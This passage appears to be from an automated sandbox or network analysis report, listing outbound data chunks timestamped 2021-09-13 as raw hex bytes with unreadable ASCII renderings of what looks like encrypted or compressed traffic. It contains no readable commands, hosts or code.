32 77 bc 4b 74 ef 7b 44 0f 7d 40 f4 d8 47 44 8b 3f 26 5a f2 09 f3 59 23 2d 59 56 4f 4f 2c ab a3 a7 97 d7 d3 52 e6 c5 65 0d f4 ca 67 a0 86 de 5a 5d 4b Data Ascii: gr0)@XU]+l`Ru_w.(;88L8&E HN"<z@U:j=o}g~-~[=D3hH;bK>AtFkk%//&nz2wKt{D}@GD?&ZY#-YVOO,RegZ]K
2021-09-13 04:32:04 UTC	1872	OUT	Data Raw: 23 00 33 7d 70 9f fa e1 9e f5 47 3a 00 0c c4 f4 3d 3e 9a 6f 30 7e 1f 31 a2 0f 64 47 6c 94 fc a8 cd da b4 b5 c3 c4 7a a9 9a dc 28 9d a7 36 4b d7 e9 22 dd 67 a2 3e 3d bd 59 a5 5f 97 99 6c 86 db a2 d3 6c d6 5b 35 a3 49 3a 02 46 e9 19 94 7a 46 f9 4c 47 d9 b4 7a 25 3f b5 41 72 53 6a 25 3b b9 4e c9 4d ac 55 32 e3 3d d8 7f 66 ec 56 c7 e8 2d 92 19 b9 49 32 23 36 47 72 2f 33 aa 21 c2 22 f0 48 4c ce 8d 69 41 5e 33 d6 a1 d4 6b 74 72 6f 94 14 18 e9 19 d1 22 99 e1 9e 11 9c 77 f9 59 0a 40 8a 42 a4 44 d7 e5 3a 23 b1 4d 32 0a d3 5e 24 16 a4 5f 31 91 00 f4 70 5e 9b 03 4f c0 31 4d c6 36 a6 20 6f b2 13 80 55 63 d7 ca 61 93 5e 91 2b 9f 5e 2d 4b 45 64 fa 6a 91 73 a6 ff 43 7a 5c f3 b0 f6 63 bd 5d 02 90 c3 4a b3 b0 ad 5e b7 51 8e fd d1 30 cf 50 65 e6 d2 3f 2b 9c de b4 69 93 d4 Data Ascii: #3}pG:=>o0~1dGlz(6K"g>=Y_ll[5I:FzFLGz%?ArSj%;NMU2=fV-I2#6Gr/3!"HLiA^3ktro"wY@BD:#M2^$_1p^O1M6 oUca^+^-KEdjsCz\c]J^Q0Pe?+i
2021-09-13 04:32:04 UTC	1888	OUT	Data Raw: 31 fd 82 db 57 b7 7d a4 e7 40 bc ed 5e 18 21 3d bb ec 2e 99 2e 3f 8f 7f 9e d8 67 a3 ed 2f 94 5e 9d 52 f6 15 ae 1b ee 7f 5b 05 20 d6 61 34 5f e6 4b e3 5d f9 39 15 e7 4b e9 b7 d7 27 a4 d7 e2 15 d2 6b d7 8f 48 66 87 2b dd be 3f b7 1f a6 c1 25 4b dc f5 dd e9 10 5c ab 43 a4 d7 42 bc 0c 2f 3b 1c f7 03 f3 a7 8e 94 95 2f 8e 92 9e bb 62 9e db 31 b1 c9 e3 bb f4 21 7c 6e a9 f4 ea ba 97 64 ba 5f e1 8e 1d e5 27 bb 73 20 4a 79 8f 22 e1 e9 cf 6d c7 03 75 1f 94 8a 99 5d 50 b6 c3 65 3b 1d 5c 58 b6 1f ca e5 07 02 b0 38 2f 99 1f 2e 4b 0a c0 34 e9 17 12 93 7c e0 03 01 d8 2a 69 d2 2f 24 4d f0 b5 c5 b6 08 c0 b4 e5 31 52 e4 1f 89 04 60 9a f0 23 81 f4 0b e5 9f 89 3f 92 3f 25 3e 40 48 1a 36 6a 30 b1 01 42 c2 48 40 6d 1a ec 25 60 5c 04 02 8d 0a a4 04 0c 29 25 00 1d 69 d2 2f c4 04 Data Ascii: 1W}@^!=..?g/^R[ a4_K]9K'kHf+?%K\CB/;/b1!\|nd_'s Jy"mu]Pe;\X8/.K4\|*i/$M1R`#??%>@H6j0BH@m%`\)%i/
2021-09-13 04:32:04 UTC	1904	OUT	Data Raw: 8d c1 f5 1f 89 73 19 51 27 65 da cc 0b e5 63 c8 d6 58 14 91 09 bb 48 da b1 52 eb 2b c5 56 31 76 e2 c0 0b 04 c0 3e ed 6c 70 8b fc 80 4d 0a 47 56 0d d1 e8 16 94 cf 5c 7f ec 13 64 ab 71 dd fa a1 c2 ca f2 ab 12 90 a0 bc 63 5b d9 6a 4b 1d a5 44 60 18 99 a8 78 01 a8 22 dd a3 7d 17 f6 7e 27 5d f6 a5 10 3d 7f 1a f9 e8 a6 93 d2 2f 84 c7 d1 ee 08 40 9e 27 2b fc 61 c4 9e 81 f3 54 2c 72 8b b2 c6 84 4d 00 07 b6 e1 7d e3 fd 2b 67 5f 5d a3 1a a4 62 0c ca ef d8 66 a9 c0 33 5a 81 67 b3 02 cf 26 cb 6f 87 e9 28 db 33 44 aa 50 5e 3a a1 dc 74 9a 23 2a fe 18 dd e7 22 fc 44 2a 00 47 f4 e6 28 df f9 99 2c a7 28 ef 78 0e 28 fa 54 f6 71 e0 9e 80 cc 2c 3c c7 33 f1 1c cc 40 99 27 94 7d 11 c8 c7 f2 ec 6c ac 8b e7 9a a9 46 0a 33 7f 4e a3 64 f1 9c 69 a4 f0 5c e4 cf c1 76 08 a6 73 f7 e1 Data Ascii: sQ'ecXHR+V1v>lpMGV\dqc[jKD`x"}~']=/@'+aT,rM}+g_]bf3Zg&o(3DP^:t#"DG(,(x(Tq,<3@'}lF3Ndi\vs
2021-09-13 04:32:04 UTC	1920	OUT	Data Raw: 1b d0 48 05 b6 47 03 ca 79 01 69 39 4e 24 a0 29 01 55 44 a0 4d 04 3a c9 3f 85 25 32 d0 21 22 50 49 40 c6 49 fa 39 12 a7 8a b0 5d 02 8a b9 02 75 34 01 e8 24 02 ab 8a 0c 54 58 52 85 6d 44 23 04 e9 c1 46 09 40 7e 20 e1 07 0a 25 00 bf 61 94 04 94 0f 07 8e 28 11 68 44 02 ba be a7 07 cb 01 f4 10 f9 03 3d 78 1a 12 90 23 02 45 54 a0 12 7f 3f d0 18 c6 94 80 f4 d0 6a c8 3c 25 00 ed a8 39 05 05 22 cd 38 8a 94 31 61 21 02 05 83 69 5d 45 58 0d a5 87 5b 43 0a 4a 64 1f cf df e6 d8 0a e8 b5 0c 99 12 23 04 a9 75 db 84 89 40 45 0c 72 3b 96 de a3 81 4a 1d 16 a9 c1 13 82 48 98 48 f0 5c 81 93 89 29 d4 3f 25 00 17 cf 79 36 8d d6 79 de 33 82 e7 44 53 b8 a7 31 21 21 01 eb 4c f3 8b 0a c3 f5 67 56 a2 e1 ac 0a 34 a2 07 f0 03 67 96 a0 e9 ac 62 1c 32 bb 18 47 a4 97 e3 d8 74 0f 3d 84 Data Ascii: HGyi9N$)UDM:?%2!"PI@I9]u4$TXRmD#F@~ %a(hD=x#ET?j<%9"81a!i]EX[CJd#u@Er;JHH\)?%y6y3DS1!!LgV4gb2Gt=
2021-09-13 04:32:04 UTC	1936	OUT	Data Raw: ea 22 50 a6 13 13 3c 4f dc 84 b0 98 9b ae e1 a0 bf 71 fa b0 d5 78 ef 8f 00 66 03 48 23 5e fc a5 12 a7 4f d8 80 46 e3 8a c4 1c 7f 09 13 08 16 78 93 e8 78 2c ef 54 b5 e2 09 30 ab cb 72 31 09 46 08 46 bd c2 2c 0b 40 21 01 69 3b 0b 25 43 f8 89 96 a3 cd 58 26 72 2b b6 d3 f1 85 28 a4 3e 1e 23 d2 8b a9 9d 4a 7d d3 68 5f 42 46 22 1a db 26 d1 f5 9d 1c 10 29 ca 8c 4a 2f 56 f3 11 d6 a3 07 6e 2e 52 22 98 52 8e 03 26 97 a2 f1 e4 62 1c 32 b5 10 47 4e 2f 41 b3 19 c5 38 8e 38 99 38 7b 76 29 9a a7 94 e2 d2 94 32 5c 99 56 8e b6 e9 65 b8 29 cb 83 ce b9 5e f4 28 08 e1 9e 05 5c 30 04 78 9a 1e f8 5f 58 09 bc bc 1a 78 63 0d f0 ee 5a e0 83 75 c0 c7 04 0b be 6f 37 49 31 38 60 33 f0 23 f1 93 c1 40 5e df 42 db b6 03 df ec 00 be 26 38 dd 98 53 8d 3f d8 08 bc f5 17 f0 fa 7a 3a 2e 1d Data Ascii: "P<OqxfH#^OFxx,T0r1FF,@!i;%CX&r+(>#J}h_BF"&)J/Vn.R"R&b2GN/A888{v)2\Ve)^(\0x_XxcZuo7I18`3#@^B&8S?z:.
2021-09-13 04:32:04 UTC	1952	OUT	Data Raw: 84 85 04 b4 88 40 22 89 c6 33 c9 44 bd 19 41 34 98 19 42 a3 59 61 34 4d 09 8b 79 03 8f 4c 0b 83 2b c6 1e 9f 15 c1 49 d9 11 9c 92 1d c2 69 86 10 e2 d4 50 8e fa e2 b9 df 44 ca 70 2e 47 6f 85 d0 96 b8 21 2f 80 9b f3 7c b2 b8 48 5e 05 7a e4 97 e3 ae 82 0a dc 37 cf 83 3e f3 3d 78 8c 78 ba a0 08 af cf df 89 ef 56 15 63 ee 4e 1f fe 04 b0 90 f8 6c 3d 70 f9 94 1d 38 f0 07 fa ad fb 92 be b3 1f 97 22 f1 ed 6d a8 f3 c6 16 24 bf b1 11 49 af 6f 80 fb d5 bf 84 00 3c f3 83 45 78 35 73 3b 56 94 03 3b 11 c6 c6 48 18 73 77 14 63 e6 e6 4a cc d8 0a a4 6d 03 b2 a8 cd a3 76 0e dd cf 73 77 10 2c 02 4b 68 9d 05 61 99 24 8f ee f3 ec 62 20 93 48 2f 04 52 09 9e ab 70 3a 8d 9f 42 fb 4d a4 63 70 f4 e0 c8 0d c0 b0 75 61 0c fe 23 80 1f fe f4 e3 eb 75 41 7c b8 d6 8f 77 7e f5 e0 d5 5f 3c Data Ascii: @"3DA4BYa4MyL+IiPDp.Go!/\|H^z7>=xxVcNl=p8"m$Io<Ex5s;V;HswcJmvsw,Kha$b H/Rp:BMcpua#uA\|w~_<
2021-09-13 04:32:04 UTC	1967	OUT	Data Raw: 22 5f ef cf 5a f5 f7 46 35 d5 37 d6 65 3e 67 4f f3 55 18 a8 16 03 b1 e1 2f 8d 7f 7a ca 6f 20 b5 e8 47 f4 96 e5 0c 80 34 da 84 d3 00 18 b9 9d 56 a3 f4 00 a0 e0 5f 18 02 d6 10 00 e6 7a be fd 3c 37 03 80 92 60 1c 25 a3 0b 7d fb 02 cf 21 04 54 98 67 23 9f 40 9f fb d8 44 cf e3 e7 d2 eb e9 7c 00 48 f8 47 69 fc 13 00 54 a3 ff f2 00 c0 6c 65 c3 c1 1d 00 80 6a 1a 70 82 f3 e1 5e 3e e5 03 80 94 a0 9f fd 58 5d 07 90 6e 13 10 7b 31 0d 80 fb 0f fa 14 ea 8f c7 3f 1e 35 00 9e 31 6a bb 1f 00 09 d6 3c f8 e6 6d 37 00 aa 0a 05 40 27 1b 00 29 77 5a 30 03 60 b6 51 80 1f 62 1e f8 93 aa 13 00 8b 46 27 61 af 51 00 fb 62 7f 1c 03 70 d8 38 80 63 b0 13 c7 25 e1 b4 c9 09 5e e5 95 00 f0 a1 39 9b 61 cc d7 09 06 c0 d1 65 c0 23 b8 8e 78 7e 1d fc ec 51 fc 7d f9 00 76 0f fe 3e bd 7d b5 1a Data Ascii: "_ZF57e>gOU/zo G4V_z<7`%}!Tg#@D\|HGiTlejp^>X]n{1?51j<m7@')wZ0`QbF'aQbp8c%^9ae#x~Q}v>}
2021-09-13 04:32:04 UTC	1983	OUT	Data Raw: 02 c0 c0 73 f2 06 c0 f5 5c 18 00 ca d4 5e c2 bf e8 03 9f 41 e4 41 95 0f fd ec 64 a5 5f 03 81 16 fe d9 00 68 7a 94 ae f3 97 4e 01 a0 4e 8f 06 e4 1c d8 cb 37 1f 00 da e0 e7 e6 c7 3f ca 81 3f 3b 1b 00 6d d0 b3 b2 b1 cf 57 36 00 a4 04 01 05 fa 6c 04 b4 b7 09 fc 05 a6 06 e3 f6 ea 00 c0 d6 f8 47 e5 6e 00 d4 b7 3f 52 00 8c 7c 84 9f 17 b3 01 d0 46 40 c2 3f 9e 12 3c 0a 7f c6 a8 d1 34 fd 57 8d fe 23 00 2c 1a 99 32 00 18 1b 59 c1 0b 81 1c 38 36 09 87 8c 05 f8 d7 b8 04 03 e0 1d f3 d5 08 40 fc 51 83 a1 5f 02 5c f1 c1 17 70 e0 23 2b f1 f7 d2 2a d8 e3 ce e5 0a 00 cd ef 75 ac cb 3c 03 80 a7 3d 3c 29 14 00 65 04 60 36 00 a4 d1 7d 17 4e 49 04 10 2f 38 c5 57 4f ed d5 b0 27 65 03 c0 46 f8 5e 84 7f 8d a7 5b f0 37 5d 4d 03 16 f8 63 fc a3 51 7f 35 0e 80 09 2e 1b 00 aa a9 bf 0a Data Ascii: s\^AAd_hzNN7??;mW6lGn?R\|F@?<4W#,2Y86@Q_\p#+*u<=<)e`6}NI/8WO'eF^[7]McQ5.
2021-09-13 04:32:04 UTC	1999	OUT	Data Raw: 8f bf 23 97 f2 ff 2e f8 00 70 cf 8e 0a 00 69 04 e0 ff d6 a8 11 80 02 80 37 8c ff 12 ae 9c a4 00 90 46 ff 11 00 d2 14 e0 06 53 d2 53 80 09 00 19 01 a7 05 a7 f4 ba 35 c4 63 7c 65 ec 77 00 b0 31 be 2f 95 0b 00 c3 ba 6c 7a 92 23 f4 cb 06 80 f2 f8 aa 99 49 4e 00 50 ae 05 28 00 d8 6c 76 8a ab 09 00 24 fc 0b 03 c0 8e b3 e3 59 01 30 6c 11 90 42 01 50 10 f0 de 85 1a 01 2d 00 a4 b2 01 a0 0f 01 5d 00 74 7b 62 45 82 11 30 e7 22 20 16 fe d9 00 a8 f0 2f 1c 00 09 fe 24 1f 00 12 fe 51 43 d7 a9 95 7f b3 01 e0 a3 0b b7 c3 d5 c3 d7 54 01 00 ff ef 74 0d 2d 2b a1 ef 19 fb e1 fd c3 21 f2 1b 4a 6f ab 1d 81 48 a4 25 de 2f 86 be a7 ee 05 b5 fb 15 03 0c c7 3f f6 7e 7d 30 44 7f f7 0f 88 1e a4 01 90 c0 ed 8f d7 32 e6 0d 6b 77 20 c3 52 84 46 ea fd 5e c1 57 94 40 ef 37 8d cc fe e8 3e Data Ascii: #.pi7FSS5c\|ew1/lz#INP(lv$Y0lBP-]t{bE0" /$QCTt-+!JoH%/?~}0D2kw RF^W@7>
2021-09-13 04:32:04 UTC	2015	OUT	Data Raw: 83 aa 04 e0 e8 c5 90 7c 86 31 9f 33 8b 8c fc 03 a6 ad 92 c6 2e 5a 4d 63 16 af a6 47 17 55 d0 d5 73 97 d0 99 af 7d 2d 02 70 ab 1e fc 3b e5 09 83 f8 77 ff 81 fc 39 e4 d2 ea 0a 40 f7 cf 4b d4 05 59 7a be 00 dc 68 6b c3 5f 1a 18 e1 86 6b d3 c5 22 0c 17 dc 76 84 1d 6f 05 e2 8b dd ec 78 be d7 06 d8 47 50 ef ef 0a 40 3b 07 ee 85 7d 01 f1 ac c8 f6 83 04 c4 33 1e 79 37 8f 20 7a a1 d7 6e dc b7 9f 29 f2 b1 e3 09 72 8c 7d 0a 73 de 73 8b 03 a5 38 49 72 17 2b 00 95 90 c0 12 9a 47 a8 b4 f3 c9 25 f7 42 7d 8a f6 ff 57 0a 40 bc 6f 36 53 32 b6 fc d7 ca bf 6a 09 c0 58 d6 9f c1 ec e9 97 2d f6 b4 6d ad 0b 40 b0 96 33 00 5d 7c 01 08 22 11 a5 f7 f1 9f 23 c2 b9 af 4b ec 19 f3 a0 f7 b1 c2 2a 17 ee b8 82 08 dd 6b 4d f0 5f 77 68 8c 4b d6 33 a1 9d a3 95 70 2a f2 44 be a1 cd 7f 8d 2a Data Ascii: \|13.ZMcGUs}-p;w9@KYzhk_k"voxGP@;}3y7 zn)r}ss8Ir+G%B}W@o6S2jX-m@3]\|"#KkM_whK3pD*
2021-09-13 04:32:04 UTC	2031	OUT	Data Raw: 3f 4f 00 32 d1 b2 e0 f3 e3 12 d0 c8 3f e6 fc 0f 84 ea 0a 40 90 1a 90 47 00 e6 42 e5 5f 35 25 60 48 ea 55 87 ea 08 40 39 86 f8 bb 9c c7 38 12 50 c4 9e 15 80 8a 91 77 ce 39 f7 8b 28 74 04 a0 1c a3 dd 8e 15 62 f2 8f 81 c4 fb 8d 05 60 24 fd 02 7b fe 81 e4 4d 28 fa 61 80 fc ab 0d 01 08 22 09 17 e8 53 5c 59 27 63 7d 61 57 15 01 01 98 ba 35 3e 67 6c de 40 16 a0 22 02 10 55 80 ad 00 2c b9 e3 67 11 80 f5 5e a9 a0 0b 16 f0 07 e0 1f 88 3a ce 36 19 80 10 80 90 7f c2 30 fa 53 00 2a 63 f9 3e 79 58 db 02 b0 2a 5c 61 27 d2 2e 30 a6 3a c4 e6 aa 05 01 78 d0 0b df 48 06 20 04 e0 b3 3f 13 75 78 e6 2b da f2 f2 99 46 00 e2 e7 3b 7e de 67 09 c0 89 91 00 bc fa a5 4f 68 de ea 8c 00 ec 39 ed 5b 6a 34 fe 47 6a 30 65 19 1d 33 65 35 1d 39 9d e8 88 a9 10 80 15 74 cc a4 52 11 80 ae 04 Data Ascii: ?O2?@GB_5%`HU@98Pw9(tb`${M(a"S\Y'c}aW5>gl@"U,g^:60Sc>yX\a'.0:xH ?ux+F;~gOh9[j4Gj0e3e59tR
2021-09-13 04:32:04 UTC	2047	OUT	Data Raw: ef a7 56 09 e9 a7 96 0b a9 a7 56 52 fa 69 fe 7a 3f bd 92 12 4f ad e0 39 97 f2 fd f9 fb e1 e9 25 b4 ee 33 bf d0 06 cf fe 4c 5b 3e b1 88 8e 7d e2 1d ba e5 93 65 34 9d 3f 73 8d e5 ef b7 d3 06 7f 48 9b f4 78 9d ea 76 9e 44 45 9d 66 f0 cf 8a a9 94 ee 3c 5e fe d3 22 d1 65 34 25 ba 3f c6 91 7f d6 74 19 46 ff ba f8 49 ba fd 95 4f 69 71 29 d1 7b ab f9 33 dc e7 cb a9 e5 eb f3 e9 d0 17 16 d2 21 af fe 4a fb bd ba 9c f6 15 56 d2 7e af ac a6 fd 5f 66 5e 5b 21 1c f0 ca 2a a6 94 f6 7d 79 45 c4 7e af ac 94 b1 7b bf c6 bc ba 9a f6 7a 6d 35 ed f3 46 19 ed f9 46 29 ed c1 fc 7b 1c c7 f1 65 f4 af 09 cc f8 72 da 63 dc 2a da 67 1c cf 3f 6e 99 b0 df f8 e5 b4 ff 04 9e 7b e2 ca 08 b4 f9 7d 07 4e 5a 15 61 32 0b cb 6c a6 a1 c9 2a 04 58 5e 7c d4 a4 32 3a 9a 8f c1 b1 3c e6 38 6e 3b 7e Data Ascii: VVRiz?O9%3L[>}e4?sHxvDEf<^"e4%?tFIOiq){3!JV~_f^[!}yE~{zm5FF){ercg?n{}NZa2l*X^\|2:<8n;~
2021-09-13 04:32:04 UTC	2063	OUT	Data Raw: 96 88 cc ab 18 24 01 31 89 45 5e 91 6d 4d 0c 12 24 08 b1 91 a0 32 75 b8 83 59 0f 50 31 d3 89 5f e5 6b 1e 29 fd 65 8d 3f 89 5c c4 d8 56 32 42 92 ca 36 ea b8 0d 49 41 64 3d c0 d1 86 0b de a4 c4 79 63 f9 f8 51 fc 5e a0 0d 0c 17 b1 87 ac d3 58 67 11 9f 39 59 8b 51 80 e8 83 28 e4 31 65 4a 34 de 43 fb d9 6c 8b cf 3b ff 6e b7 79 82 3f 87 fc bb d9 9a 7f 47 5b f1 ef 7f 2b fe bd 6f cd 60 bb 25 e0 36 de 4e b5 ee cd 3c 2e 24 5b 1a 12 2d f8 3b c1 01 d3 ef 11 e1 9b 3e 8d fb c9 9a 9f e0 31 2a 3c f5 31 29 cd 1a a2 fc dd a0 d1 7f 19 12 d0 4c 17 0e c8 10 82 fc 1d a7 88 f8 f3 90 64 1a 4c 90 ec c8 12 c8 3e 15 80 8a d6 5b 32 8e 0b e5 1f b6 55 d6 61 6d 41 9d 3e ec ae 25 08 61 e6 0b 34 17 39 a6 31 7f c7 3b a4 9b 60 3d 43 f0 40 84 64 13 fe ce 77 48 34 e6 bf 07 76 3b d5 d8 25 3a Data Ascii: $1E^mM$2uYP1_k)e?\V2B6IAd=ycQ^Xg9YQ(1eJ4Cl;ny?G[+o`%6N<.$[-;>1*<1)LdL>[2UamA>%a491;`=C@dwH4v;%:
2021-09-13 04:32:04 UTC	2079	OUT	Data Raw: 71 1e 25 8f e4 eb 43 04 1d 83 eb 2e 38 a6 b3 90 3e ca 50 70 74 97 58 d2 c7 5d 48 49 26 5b 29 11 76 5c 26 b8 14 10 61 07 6c 7d aa e6 45 59 49 d6 0a 4b 25 55 bb ab 90 ae 03 e1 c7 d4 33 51 65 e9 fa 90 59 57 53 41 03 13 ad 55 88 48 2d b7 6c 70 a3 89 de 6a 18 2d 25 ca 0b 12 4b 23 c2 ec d4 48 9d 36 09 49 26 11 62 5c ba 40 ae 81 44 9d 1e 4c 77 4a d6 0e 4b 13 8d 86 76 ae ab dd 5d ea a5 cd 89 50 33 d7 0b 91 d6 33 27 05 f5 6f c8 00 f7 a2 b8 eb a5 55 04 a6 73 56 96 02 08 b5 2c 40 b6 25 1a df 64 44 5e 53 48 37 23 de 92 0e 90 69 a9 93 8c 5c 43 09 71 96 3a 89 ff 80 5b 92 56 c2 25 9b 62 4a 68 88 1f c1 e6 f6 09 85 9d 6d e3 71 dc 12 62 ce 44 b6 dd 43 c9 13 ee 12 20 ea e2 30 d2 8e fb d9 d2 95 77 3e c9 53 4c 99 68 66 44 5f e2 e4 07 28 71 8a cd 0a da 8c 39 15 49 0f 18 2e 93 Data Ascii: q%C.8>PptX]HI&[)v\&al}EYIK%U3QeYWSAUH-lpj-%K#H6I&b\@DLwJKv]P33'oUsV,@%dD^SH7#i\Cq:[V%bJhmqbDC 0w>SLhfD_(q9I.
2021-09-13 04:32:04 UTC	2095	OUT	Data Raw: 29 b4 3a 8d d6 26 d4 30 a0 ce 15 80 a7 f0 38 21 c9 03 9a e5 24 b1 3f 9f 33 e0 c4 0c 54 5c 2a d9 ea 95 50 fa b9 32 90 c1 fe c1 5c cf f7 ad 89 41 70 ed a9 7f 9c c6 9c 21 98 ec c0 8a 2f d7 20 dc 20 de 5a 1b 02 61 77 a6 ad 6f 63 db b0 8d fa e8 f1 9a 70 24 a5 6b f5 a1 1e d3 90 ed 54 64 cd 48 ec 1e 13 8c 15 43 b0 e6 9f db 5f 8e 41 bd 01 92 11 40 3a 06 1c de 56 10 69 07 11 c9 a5 88 48 48 41 94 1e d2 a7 12 98 28 40 83 26 20 91 24 24 56 04 86 74 8c 80 2c b7 c0 95 5d 2a bc 5c 42 c1 97 0d 4f fc f9 1c 65 32 e6 2a 2a 04 75 1f 32 0d 52 4d 11 b9 e6 d4 e9 76 e2 88 0b 42 78 5c d3 ee 0a 48 83 7f fd 72 0f 72 6f 59 04 68 70 6c e6 b5 eb 35 c8 f5 1e 19 0a cc d4 31 17 4b 09 24 0b b0 e2 8b 40 95 81 2e ba 36 a0 12 48 c2 2b 63 65 5f 48 f7 2c 70 5b 1d db 47 a6 fb f6 30 d4 0b a3 fe Data Ascii: ):&08!$?3T\P2\Ap!/ Zawocp$kTdHC_A@:ViHHA(@& $$Vt,]\BOe2**u2RMvBx\HrroYhpl51K$@.6H+ce_H,p[G0
2021-09-13 04:32:04 UTC	2111	OUT	Data Raw: 70 2f 85 80 3c 0a b0 23 a4 f6 bb d5 76 1b 17 1d 79 67 e0 2d 82 78 07 dc c3 09 0e 0a ca 05 1d 84 8f a1 e8 b6 06 3d 05 78 de 63 6e c1 39 34 dd 58 65 41 32 71 b0 8d 41 cf 41 3c 4e b0 cf dc 17 f0 8b c0 1f 6d 83 42 e4 63 e8 93 a9 be 3a c1 39 06 3a b9 4f 50 47 f7 b1 23 1e 63 88 33 f0 17 1d 91 e7 16 4e 1d 8e 09 9f c3 8d 9e 3b c0 bc 23 3b 17 a6 f6 27 8f 32 a5 8e 7e 26 92 ec 2f 16 9d a7 61 af 20 da 7f 24 6e 8f 7a 16 6f 3f c7 d1 c2 1f 7c ed 3f 55 e2 d8 28 c4 99 95 78 5f e1 a9 b7 8c 78 8c 6f 6f 43 ea d4 77 20 75 ca bb 90 38 e5 9d b0 93 df 32 23 04 4f 7a d3 14 4c 05 36 d3 81 19 0f 09 11 69 4a 2f af 0a 6c 9e 3f 80 c0 e0 f5 2c fc 49 c1 b5 ff 2c 02 da 11 80 21 04 1a 00 4c 9e 8a ef e7 b4 77 21 79 fa ff 38 46 bf 33 cd 35 ff 74 02 80 3a 5e 10 e4 2c 3c 1e 2c 0c e2 c9 39 96 Data Ascii: p/<#vyg-x=xcn94XeA2qAA<NmBc:9:OPG#c3N;#;'2~&/a $nzo?\|?U(x_xooCw u82#OzL6iJ/l?,I,!Lw!y8F35t:^,<,9
2021-09-13 04:32:04 UTC	2127	OUT	Data Raw: 35 84 bf a7 a7 e6 39 01 40 81 3f 1f 00 6a 08 2c 17 00 e9 da 7f 3e 00 7c 79 36 f8 01 f0 a8 fb f0 33 05 7d 06 b2 00 e8 c3 37 5d 8b 03 a0 07 02 e5 35 db 1a 00 f2 71 0d 7e 71 d9 e7 e1 e8 71 36 17 ff 7c 00 18 dc 17 00 f4 a0 9f ce 7d 9c 9b 0f fd 74 be c7 ac ab e4 6b 29 56 ec f9 6d 06 00 cd 48 40 17 ec e2 8a 03 3e 29 ee 78 b0 7f 23 00 96 55 1c 00 9a 29 c0 f4 da f6 f5 24 01 40 c2 3f 01 40 5a ec 63 23 00 46 01 d0 59 fc 43 00 30 b5 4f 47 ae 24 00 ee 67 16 02 31 f8 47 b7 5b 19 00 7d e8 a7 73 e0 cf cd 87 7a 0d a9 1c 00 e4 14 00 32 02 36 10 00 83 1c f0 73 8b 00 a0 c5 3f de ef c1 3f ee b8 57 a2 00 28 78 a7 f0 4f 00 50 23 60 83 01 90 0a e0 4f 0a 01 90 de 53 29 00 d4 20 d7 50 00 0c 10 50 03 20 65 01 50 16 ff 10 f8 0b 00 d0 2e 36 42 53 7e cd eb bd 67 d2 00 78 c6 07 06 fd Data Ascii: 59@?j,>\|y63}7]5q~qq6\|}tk)VmH@>)x#U)$@?@Zc#FYC0OG$g1G[}sz26s??W(xOP#`OS) PP eP.6BS~gx
2021-09-13 04:32:04 UTC	2143	OUT	Data Raw: 9f 14 80 5f 2b 02 a0 c6 3e 5f fa dc a0 47 0c 02 36 1a 00 3b d7 31 00 6e f6 d4 0a f8 fe e3 b3 e1 a0 6e d9 00 00 ff 43 d3 c6 5e a9 82 cd 5e 4c 33 00 a6 de 70 00 90 00 af 39 01 b0 4c 04 dc 08 80 b8 4f 10 d0 87 7a 0d a9 29 00 c8 65 f8 3a 80 15 dd ea 19 00 2b be cc c0 37 f1 bc ef f5 04 9e 06 fc db 3e 79 f8 73 9f 34 fc ab 6f 1e f6 e8 97 e5 51 6d 17 0c cd c2 9d a3 d6 32 6a 4c af 33 2b 00 d3 4a be 04 80 87 f5 58 08 3f 79 65 0e 03 60 ea c1 b5 90 c4 df 5f fe 37 41 01 e0 37 6f 34 00 d8 d1 02 20 3d d6 07 80 87 e2 6b c9 08 40 01 c0 83 9b 19 00 69 4a 71 24 e7 b8 c6 3f 7a 0f 1a ff 9a 03 00 83 68 5f 90 99 f2 4b d1 ea be 74 7d 3f 9e ea 1b 81 3f 8d 7f 10 c0 1f a5 af f1 27 f8 77 e1 f0 0c 5c 3c 3c cb 31 fc e1 31 da 76 c0 f3 19 fe ec 6a bf 32 ed 57 ae f9 17 2c f2 31 c6 4c f5 Data Ascii: _+>_G6;1nnC^^L3p9LOz)e:+7>ys4oQm2jL3+JX?ye`_7A7o4 =k@iJq$?zh_Kt}??'w\<<11vj2W,1L
2021-09-13 04:32:04 UTC	2159	OUT	Data Raw: f4 94 7c d5 61 44 00 fe b7 05 a0 97 04 d4 fc e9 02 90 e1 7e 83 ff ef 02 d0 8b ed 15 80 db 4b 2a 01 a8 e7 02 74 08 40 87 04 d4 11 7f 4e 01 c8 73 01 9a 02 90 a3 ff ea 22 00 53 62 ee c7 f2 4f 63 1e 87 96 75 f4 9f 26 ed 0e 6a 4d 09 f8 4f 15 80 a6 fc fb 07 0b 40 96 7f 7f a6 00 d4 e3 6c 3c d2 7d 4d cc 73 c8 71 53 08 40 9f 21 00 75 e4 9f 97 00 74 8b 3f 8d 19 f1 e7 c9 ff 8a 00 34 04 9f a7 04 34 b6 6f 8b 00 74 44 00 d6 52 00 3a 22 00 5d 02 d0 2d 01 3d a5 5e 5d 70 45 ff 39 04 e0 b7 45 4a fe 79 44 00 ee 08 01 98 24 ff b6 51 00 d6 6f 5b 2e 02 f0 c0 36 1b f1 90 25 00 df d9 e8 12 80 5d 68 5f 96 7d 7f a6 00 dc 1e 09 e8 25 ff 98 6d 10 80 8c 97 ec f3 c2 53 ea 55 87 3b 22 d0 4b fa 99 d4 46 00 7a 49 40 dd ff 17 08 40 5e af 51 00 52 cb 15 81 9b 65 54 e1 88 cc 72 5c 3e a1 02 Data Ascii: \|aD~K*t@Ns"SbOcu&jMO@l<}MsqS@!ut?44otDR:"]-=^]pE9EJyD$Qo[.6%]h_}%mSU;"KFzI@@^QReTr\>
2021-09-13 04:32:04 UTC	2175	OUT	Data Raw: 04 e4 75 4b 00 ba c5 9f 29 ff b8 22 af 19 8d 57 5b 4c 01 e8 96 7a 6e 6a 23 ff b6 4b 00 ea 68 3e c6 bd cd 4b fe 31 86 00 e4 f4 df ba 0a 40 5b fe d9 02 30 82 06 9d f2 b0 7f e7 65 78 69 71 25 7e 2d 00 da 95 d2 8f de e9 95 38 ac 67 a1 21 00 89 1e 74 2e 53 00 1a d2 ce 94 7d a9 30 c7 57 8b 97 fc 63 52 09 40 2f f9 c7 f4 53 82 af 26 64 be 3f 2d 01 07 d0 b5 a6 40 cb 3f 2d 00 9d 29 bf 8c 4a fb e5 b9 fc 34 52 e0 43 8a 82 70 4b cf cb 10 7a 2e 84 30 fc 43 83 44 a5 4d 60 58 15 11 42 fa 50 8d 53 fe d5 33 da 7a 43 42 68 30 24 2e e2 af e1 50 05 af d7 1f 4a 7d c3 e8 79 1d 1e b3 88 a0 de c8 28 11 b6 a9 3f 2a 22 91 7e 8d 47 57 60 e7 51 a5 68 4a ec 